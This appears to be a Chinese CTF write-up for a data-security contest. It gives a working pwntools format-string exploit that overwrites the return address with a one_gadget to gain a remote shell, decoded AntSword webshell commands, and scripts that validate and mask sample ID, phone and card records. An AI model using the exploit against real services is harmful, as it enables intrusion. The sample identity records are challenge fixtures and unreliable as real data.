数据安全题

1. 赛题名称:pb

Flag值:756492198429227351

解题过程:

6次格式化字符串漏洞。读在bss段,利用跳板攻击写ret返回地址为onegadget

from pwn import *
from ctypes import *
from libcfind import *
from LibcSearcher import *
import base64
import sys
context(os='linux', arch='amd64', log_level='debug')
context.terminal = ["tmux", "splitw", "-h"]
debug = 0
if debug:
p = process('./pwn')
elf = ELF('./pwn')
# p = process('', env={'LD_PRELOAD':'./libc.so'})
# gdb.attach(p)
else:
p = remote('101.132.242.241', 33073)
elf = ELF('./pwn')
# -----------------------------------------------------------------------
s = lambda data: p.send(data)
sa = lambda text, data: p.sendafter(text, data)
sl = lambda data: p.sendline(data)
sla = lambda text, data: p.sendlineafter(text, data)
r = lambda num=4096: p.recv(num)
rl = lambda text: p.recvuntil(text)
pr = lambda num=4096: sys.stdout.write(p.recv(num).decode())
inter = lambda: p.interactive()
l32 = lambda: u32(p.recvuntil(b'\xf7')[-4:].ljust(4, b'\x00'))
l64 = lambda: u64(p.recvuntil(b'\x7f')[-6:].ljust(8, b'\x00'))
uu32 = lambda: u32(p.recv(4).ljust(4, b'\x00'))
uu64 = lambda: u64(p.recv(6).ljust(8, b'\x00'))
int16 = lambda data: int(data, 16)
lg = lambda s, num: p.success('%s -> 0x%x' % (s, num))
# -----------------------------------------------------------------------
libc = ELF('./libc-2.23.so')
rl(b"How to do?")
payload = b'%11$p-%13$p'
# gdb.attach(p)
s(payload)
rl('0x')
libc_leak = int(p.recv(12),16)
lg("libc_leak",libc_leak)
libc_base = libc_leak-libc.sym['__libc_start_main']-240
lg("libc_base",libc_base)
system = libc_base + libc.sym['system']
binsh = libc_base + next(libc.search(b'/bin/sh\x00'))
onegadget = [0x45226,0x4527a,0xf03a4,0xf1247]
rl(b'-0x')
stack_leak = int(p.recv(12),16)
lg("stack_leak",stack_leak)
ret_addr = stack_leak-0x100
lg("ret_addr",ret_addr)
# print(hex(stack_leak&0xffff))
rl(b"How to do?")
payload = f'%{(stack_leak&0xffff)-0xe0}c%13$hn'
s(payload)

onegadget = libc_base+onegadget[0]
low_1 = onegadget & 0xff
lg("low_1",low_1)
low_2 = (onegadget>>8) & 0xff
lg("low_2",low_2)
low_3 = (onegadget>>16) & 0xff
lg("low_3",low_3)

rl(b"How to do?")
payload = f'%{(stack_leak&0xffff)-0xe0}c%13$hn'
s(payload)

low_1 = onegadget & 0xff
lg("low_1",low_1)
low_2 = (onegadget>>8) & 0xff
lg("low_2",low_2)
low_3 = (onegadget>>16) & 0xff
lg("low_3",low_3)
lg("onegadget",onegadget)

rl(b"How to do?")
payload = f'%{onegadget&0xffff}c%39$hn'
s(payload)

rl(b"How to do?")
payload = f'%{(stack_leak&0xffff)-0xe0+0x2}c%13$hn'
s(payload)

rl(b"How to do?")
payload = f'%{low_3}c%39$hhn'
s(payload)

inter()

2. 赛题名称:re_ds001

Flag:736463199528108971

解题步骤:

给了一个en_file_data.enf密文

逆推这一步骤

得到

bytearray(b'MjEzMTQzNDY2MjYgODI2Mjg3MjAxMDIzMjc5NzE4IDFjZWQwMUAxYy5jb20KMjExMjU1MjUyMDEgODc2MDU0MTk2NDIxMTc4MDhYIGVjMDg3NTNANGNiMi5jb20uY24KMzY2MTIwNzY0MjcgNzg5MTkyMTk2NTI2MDY5MjM5IGNjYjM2OGU4QGY4OTEuY24KMjEyMTE2MzY3MjYgODc1NjU3MTk3NTI5MTg5Mjk2IDY0OGQyZDBAMGQ2Zi5jb20uY24KMjY1MTU4NzY0NTUgOTc3MTYzMjAxNzIxMDc2OTIzIDQ5YzRhNkA4NWY4LmNvbS5jbgo=MjU4MjA4NjU4MDkgNzU4OTg2MTk1OTI0MTk4MTJYIDQ0ZjkxYWVAYWIzZS5jb20uY24KMzY3MjExNDU4MDcgOTQ5MzY5MTk5OTI2MDU3OTc1IDhhYTc5MTZAZTY5LmNvbS5jbgo=MzU4MjkxMjY0ODMgNzY2Njk1MTk1NjI3MDc3MjI1IDU5NTcyMEA2ZTYwLmNvbS5jbgo=MzU4MTMzMjU5MjMgNzY5NjU1MTk1MjI0Mjc4MzY2IDRmYWNhNkBjY2IuY29tCg==MzY3MTcyOTU4MDIgNzE5MTU1MTk2NzI1MDc2MjM0IDBkYjg3OTkxQGI3NC5jb20uY24KMjU2MTUyMzU1MjMgNzA5NDUzMTk2MzI0MTY3Njk4IDA4MmNjNThANGQuY24KMjY1Mjg5MjUxNTQgNzM2NDYzMTk5NTI4MTA4OTcxIGQwNWRmYUBiNmNlLmNvbS5jbgo=MzU4MjMzMjU5OTEgODk3NDg5MTk3MzI3MTk3NzI4IDVmYTAzY0BkZmE0LmNvbS5jbgo=MzU2MTkwMTY2NTggODU2ODg1MTk2NjI0MDk4OTMwIDZiYzNlZkA2NC5jbgo=MzEyMTc3NzY2NzEgNzU1NDcxMTk4MTI2MjU4NDIyIDk0NjIwZWNAYjEuY29tCg==MzU4MjY4ODYzOTUgNzk2NjkyMjAxNDMwMDM4MDE2IDhmMDdkNjJAOGEuY29tCg==MzEyMjc2ODY1ODkgNzk1NzgxMTk2NzMwMjA1ODQyIGJmNjUxOUBiZS5jb20uY24KMjY4MjI2NTUzMDYgOTI5Mjg4MjAxMTIyMTI2NTY4IDA5MGI5YjhAMmE1MS5jb20uY24KMzEzMTQ3NzYxNzIgNzU3MTU3MTk5MDIzMjM1NjE4IGRhMDA0ODA5QDkxLmNvbQo=MzEyMTk1NDUxNTIgOTY4ODU5MTk2MDI1MDc1NTU1IDdhMjUxQDA5ZTMuY24K')

然后将其全部base64解码

得到

21314346626 826287201023279718 1ced01@1c.com

21125525201 87605419642117808X ec08753@4cb2.com.cn

36612076427 789192196526069239 ccb368e8@f891.cn

21211636726 875657197529189296 648d2d0@0d6f.com.cn

26515876455 977163201721076923 49c4a6@85f8.com.cn

25820865809 75898619592419812X 44f91ae@ab3e.com.cn

36721145807 949369199926057975 8aa7916@e69.com.cn

35829126483 766695195627077225 595720@6e60.com.cn

35813325923 769655195224278366 4faca6@ccb.com

36717295802 719155196725076234 0db87991@b74.com.cn

25615235523 709453196324167698 082cc58@4d.cn

26528925154 736463199528108971 d05dfa@b6ce.com.cn

31217776671 755471198126258422 94620ec@b1.com

31227686589 795781196730205842 bf6519@be.com.cn

26822655306 929288201122126568 090b9b8@2a51.com.cn

31314776172 757157199023235618 da004809@91.com

31219545152 968859196025075555 [7a251@09e3.cn

mailto:7a251@09e3.cn)

提交对应值即可。

数据分析题

1. 数据分析第一题

Flag值:458e8dbe703531b99e3381853b3134ef

第一小问

搜索ftp协议即可

image-20240511082305061

第二小问

Flag值:717c0890a66bcf9524e87fdccb7d2bf4

image-20240511082311841

image-20240511082323649

易得,是101个文件

第三小问

Flag值:flag{3f3c1b49504191faf6576866f99806cd}

猫脸变换算法,去年金砖考过

图片合并

import os
from PIL import Image

# 将图片从上到下合并为一张图片
def merge_images(image_paths, output_path):
images = [Image.open(image_path) for image_path in image_paths]
widths, heights = zip(*(i.size for i in images))

total_width = max(widths)
total_height = sum(heights)

new_image = Image.new('RGB', (total_width, total_height))

offset = 0
for image in images:
new_image.paste(image, (0, offset))
offset += image.size[1]

new_image.save(output_path)

# 获取输入和输出路径
input_dir = ''
output_path = 'merged_image.png'
image_paths = [os.path.join(input_dir, f'{(i + 1)}.png') for i in range(100)]

# 合并图片 另一种脚本
# merge_images(image_paths, output_path)
#
# from PIL import Image
#
# height = 4
# joined_image = Image.new('RGB', (400,400))
#
# for i in range(1,101):
# section = Image.open(f"{i}.png")
# joined_image.paste(section, (0, (i-1) * height))
#
# joined_image.save("output.png")

from PIL import Image


def arnold(infile: str, outfile: str = None, a: int = 1, b: int = 1, shuffle_times: int = 1, reverse: bool = False) -> None:
"""
Arnold猫脸变换函数

Parameters:
infile - 输入图像路径
outfile - 输出图像路径
a - Anrold 变换参数
b - Anrold 变换参数
shuffle_times - 置乱次数
reverse - 逆变换
"""
inimg = Image.open(infile)
width, height = inimg.size
indata = inimg.load()
outimg = Image.new(inimg.mode, inimg.size)
outdata = outimg.load()

for _ in range(shuffle_times):
for x in range(width):
for y in range(height):
if reverse:
nx = ((a * b + 1) * x - a * y) % width
ny = (y - b * x) % height
else:
nx = (x + a * y) % width
ny = (b * x + (a * b + 1) * y) % height
outdata[ny, nx] = indata[y, x]

outimg.save(outfile if outfile else "arnold_" + infile, inimg.format)

a = 0x6f6c53
b = 0x729e
arnold("merged_imag.png", "decode.png", a, b, 3, True)

二维码直接LSB隐写一看即可

image-20240511083331623

2. 数据分析第二题

第一小问

Flag值:8634fe5ad186b44f9a7e51ac0595a768

解题过程(截图说明):

先将sql文件导入数据库,然后导出成json文件,方便python操作

然后搓exp即可

import json
import re


def find_json_value(json_file_path, find_key, find_value, *target_keys):
"""
在指定路径文件中读取寻找指定值,输出目标值
find_json_value(json_file_path, find_key, find_value, *target_keys)
"""
with open(json_file_path, 'r', encoding='utf-8') as jsonfile:
json_data = json.load(jsonfile)

for entry in json_data:
if entry.get(find_key) == find_value:
values = [entry.get(key, "") for key in target_keys]
return tuple(values) if len(values) > 1 else values[0]


if __name__ == "__main__":
for i in range(1, 5001):
log_user_id, log_log_content = find_json_value('table_log.json', 'id', i, 'user_id', 'log_content')

match = re.search('"(\S+).+?(.+)\sHTTP', log_log_content)\
# 用户操作
log_method = match.group(1)
log_api_path = match.group(2)

group_id = find_json_value('table_users.json', 'user_id', log_user_id, 'group_id')
method, api_id = find_json_value('table_groups.json', 'group_id', group_id, 'method', 'api_id')
method_list = method.split(',')
# print(method_list)
# print(api_id)

if log_method not in method_list:
fail_table_id = find_json_value('table_api.json', 'api_path', log_api_path, 'api_id')
print(f"{log_user_id}_{group_id}_{fail_table_id}_{i} 不可操作的方法")

api_path_list = []
for x in api_id.split(','):
api_path = find_json_value('table_api.json', 'api_id', int(x), 'api_path')
api_path_list.append(api_path)
# print(log_api_path)
# print(api_path_list)
if log_api_path not in api_path_list:
fail_api_id = find_json_value('table_api.json', 'api_path', log_api_path, 'api_id')
print(f"{log_user_id}_{group_id}_{fail_api_id}_{i} 不可操作的URL")


image-20240511082353669

第二小问

Flag值:147b3e8dde0ca300993ee1112503f1eb

同理,搓exp即可

其中姓名和地址手动查找非法的值,写入脚本得。

import json
import re


def find_json_value(json_file_path, find_key, find_value, *target_keys):
"""
在指定路径文件中读取寻找指定值,输出目标值
find_json_value(json_file_path, find_key, find_value, *target_keys)
"""
with open(json_file_path, 'r', encoding='utf-8') as jsonfile:
json_data = json.load(jsonfile)

for entry in json_data:
if entry.get(find_key) == find_value:
values = [entry.get(key, "") for key in target_keys]
return tuple(values) if len(values) > 1 else values[0]


if __name__ == "__main__":
for i in range(1, 501):
name, gender, birthday, phone, id_card, address = find_json_value('table_users.json', 'user_id', i, 'name',
'gender', 'birthday', 'phone', 'id_card',
'address')
# print(name, gender, birthday, phone, id_card, address)
# print(name)
try:
match1 = re.search('hacker', name)
if match1:
print(i, name, gender, birthday, phone, id_card, address, '非法名字')

if gender != '男' and gender != '女':
print(i, name, gender, birthday, phone, id_card, address, '非法性别')

match2 = re.search('(\d+)/(\d+)/(\d+)', birthday)

if not 1900 <= int(match2.group(1)) <= 2030:
print(i, name, gender, birthday, phone, id_card, address, '非法生日')
elif not 1 <= int(match2.group(2)) <= 12:
print(i, name, gender, birthday, phone, id_card, address, '非法生日')
elif not 1 <= int(match2.group(3)) <= 31:
print(i, name, gender, birthday, phone, id_card, address, '非法生日')


match3 = re.search('(\d{11})', phone)
if not match3:
print(i, name, gender, birthday, phone, id_card, address, '非法手机号')

match4 = re.search('\d{17}[0-9X]', id_card)
if not match4:
print(i, name, gender, birthday, phone, id_card, address, '非法身份证号')

match5 = re.search('#', address)
if match5:
print(i, name, gender, birthday, phone, id_card, address, '非法地址')

except AttributeError:
print(i, name, gender, birthday, phone, id_card, address, '异常')


image-20240511082414187

第三小问

Flag值:e77991615efd1ef4d0cb79a44e041eac

同理,搓exp

import json
import re
import hashlib

ban = [16, 75, 129, 165, 208, 344, 421, 423, 469, 137]


def find_json_value(json_file_path, find_key, find_value, *target_keys):
"""
在指定路径文件中读取寻找指定值,输出目标值
find_json_value(json_file_path, find_key, find_value, *target_keys)
"""
with open(json_file_path, 'r', encoding='utf-8') as jsonfile:
json_data = json.load(jsonfile)

for entry in json_data:
if entry.get(find_key) == find_value:
values = [entry.get(key, "") for key in target_keys]
return tuple(values) if len(values) > 1 else values[0]


if __name__ == "__main__":
result = ''
for i in range(1, 501):
name, phone = find_json_value('table_users.json', 'user_id', i, 'name', 'phone')
if i not in ban:
name_len = len(name)
if name_len == 2:
name = name[:1]+'*'
elif name_len == 3:
name = name[:1] + '*' + name[-1:]
elif name_len == 4:
name = name[:2]+'*' + name[-1:]

phone = phone[:3] + '****' + phone[-4:]
result += name+','+phone+'|'

print(result[:-1])
flag = hashlib.md5(result[:-1].encode('utf-8'))
print(flag.hexdigest())

3. 数据分析第三题

第一小问

Flag值:95e1da8517497ee29e716a2835375eeb

如图,筛选出来即可

image-20240511082457216

第二小问

Flag:D124759C42CDF90C

流量包全文搜索thekey,发现两条流量

image-20240511090937503

image-20240511091014548

中间的1是回显位

image-20240511104821347

追踪了半天http流,结果flag这个回显在tcp流里

第三小问

最后一条流量,data拉出来base64解密一下即可

image-20240511153815027

4. 数据分析第五题

第二小问

Flag值:4825376109164835

如图:

image-20240511082545723

第三小问

选择导出HTTP文件,发现一个19MB的php文件,导出发现不是php,打开发现有zip头,用binwalk分离一下,分离出一个加密压缩包。

找密码

image-20240512191051804

蚁剑流量,揭秘一下

image-20240512191029842

由于上面写的,对POST的值进行截断前两位,于是把下面传参前两位去掉

Y2QgL2QgIkU6XFxwaHBzdHVkeV9wcm9cXFdXV1xcd3d3XFxDVCImIkM6L1Byb2dyYW0gRmlsZXMvNy1aaXAvN3ouZXhlIiBhIC1wc2h1YW5xcTEyMzQgY3QuemlwIC4vJmVjaG8gNTE0Zjg5JmNkJmVjaG8gYjNkMTFmYjliYzc0

base64解码

cd /d "E:\\phpstudy_pro\\WWW\\www\\CT"&"C:/Program Files/7-Zip/7z.exe" a -pshuanqq1234 ct.zip ./&echo 514f89&cd&echo b3d11fb9bc74

可得密码为shuanqq1234

解压出来发现是一堆dcm文件,我的电脑上只能用ps打开

image-20240512190532269

用ps打开,导出为png,然后发现LSB通道隐写

image-20240512190420763

5. 数据分析第六题

第一小问

Flag值:8634fe5ad186b44f9a7e51ac0595a768

先将所有db文件命名为0-59.db,方便python操作

然后搓exp

import re
import sqlite3



var_id = [11, 12, 13, 14, 15, 21, 22, 23, 31, 32, 33, 34, 35, 36, 37, 41, 42, 43, 44, 45, 46, 51, 52, 53, 54, 50]
var_card = [34, 37, 6011, 35, 36, 50, 56, 57, 58, 59, 62, 4026, 417500, 4508, 4844, 4913, 4917, 5019, 60, 6521, 6522,
6304, 6706, 6771, 6709, 4903, 4905, 4911, 4936, 564182, 633110, 6333, 6759, 636, 6703, 2200, 2201, 9792,
604967, 5067]
var_phone = [134, 135, 136, 137, 138, 139, 147, 150, 151, 152, 157, 158, 159, 178, 182, 183, 184, 187, 188, 130, 131,
132,
145, 155, 156, 166, 175, 176, 185, 186, 133, 149, 153, 173, 177, 180, 181, 189, 170, 171]


def is_chinese(string):
"""
检查一个字符串是否包含中文。

参数:
string: 要检查的字符串。

返回:
如果字符串包含中文,则返回 True,否则返回 False。
"""

# 编译正则表达式模式
pattern = re.compile(r'[\u4e00-\u9fa5]+')

# 使用正则表达式匹配字符串
match = pattern.search(string)

# 如果匹配成功,则返回 True
if match:
return True

# 如果匹配失败,则返回 False
return False


def check_card(card):
if len(card) != 19:
return False
for x in var_card:
length = len(str(x))
if str(card[:length]) == str(x):
return True
return False


def check_phone(phone):
if len(phone) != 11:
return False
for y in var_phone:
if phone[:3] == str(y):
return True
return False


def check_id(id_number):
if len(id_number) != 18:
return False
for z in var_id:
if id_number[:2] == str(z):
return True
return False


def select_database(n):
global number
# 打开数据库连接
conn = sqlite3.connect(f'{n}.db')

# 创建一个游标对象
c = conn.cursor()

# 获取所有表的名称
tables = c.execute("SELECT name FROM sqlite_master WHERE type='table';").fetchall()

# 遍历每个表
for table in tables:
# 查询表中的所有数据
data = c.execute("SELECT * FROM {};".format(table[0])).fetchall()

# 打印表名和数据
print("Table:", table[0])
for row in data:
ssn, name, card, phone = row

if not check_id(ssn):
print(ssn, '身份证号错误')
number += 1
elif not is_chinese(name):
print(name, '名字错误')
number += 1
elif not check_card(card):
print(card, '卡号错误')
number += 1
elif not check_phone(phone):
print(phone, '手机号错误')
number += 1
print(number)
# 关闭数据库连接
conn.close()


if __name__ == "__main__":
number = 0
for i in range(0, 60):
select_database(i)


image-20240511082614705

第三小问

Flag值:3e8be4672136826f66437edcb82ada64

import re


def re_idnumber(id_number):
match = re.findall('(\d{17}[0-9X])', id_number)
if match:
return match


def re_card(card):
match = re.findall('(\d{19}])', card)
if match:
return match


def re_phone(phone):
match = re.findall('(\d{11})', phone)
if match:
return match


def mask_credit_card_card(string):
# 正则表达式模式
pattern = r'(\d{4})(\d{11})(\d{4})'

# 替换函数
def replace(match):
# 匹配的组
groups = match.groups()

# 返回替换后的子字符串
return groups[0] + '*' * 11 + groups[2]

# 使用 re.sub() 进行替换
return re.sub(pattern, replace, string)


def mask_credit_card_id(string):
# 正则表达式模式
pattern = r'(\d{3})(\d{13})(\d{1}[0-9X])'

# 替换函数
def replace(match):
# 匹配的组
groups = match.groups()

# 返回替换后的子字符串
return groups[0] + '*' * 13 + groups[2]

# 使用 re.sub() 进行替换
return re.sub(pattern, replace, string)


def mask_credit_card_phone(string):
# 正则表达式模式
pattern = r'(\d{3})(\d{4})(\d{4})'

# 替换函数
def replace(match):
# 匹配的组
groups = match.groups()

# 返回替换后的子字符串
return groups[0] + '*' * 4 + groups[2]

# 使用 re.sub() 进行替换
return re.sub(pattern, replace, string)


if __name__ == "__main__":
with open('HMABkLRZTm.txt', 'r')as f:
with open('result.txt', 'a')as ff:
line = f.readline()
while line:
line = mask_credit_card_card(line)
line = mask_credit_card_id(line)
line = mask_credit_card_phone(line)
ff.write(line)
line = f.readline()

将文件MD5即可,文件名不影响结果。

certutil -hashfile result.txt MD5

image-20240511082639890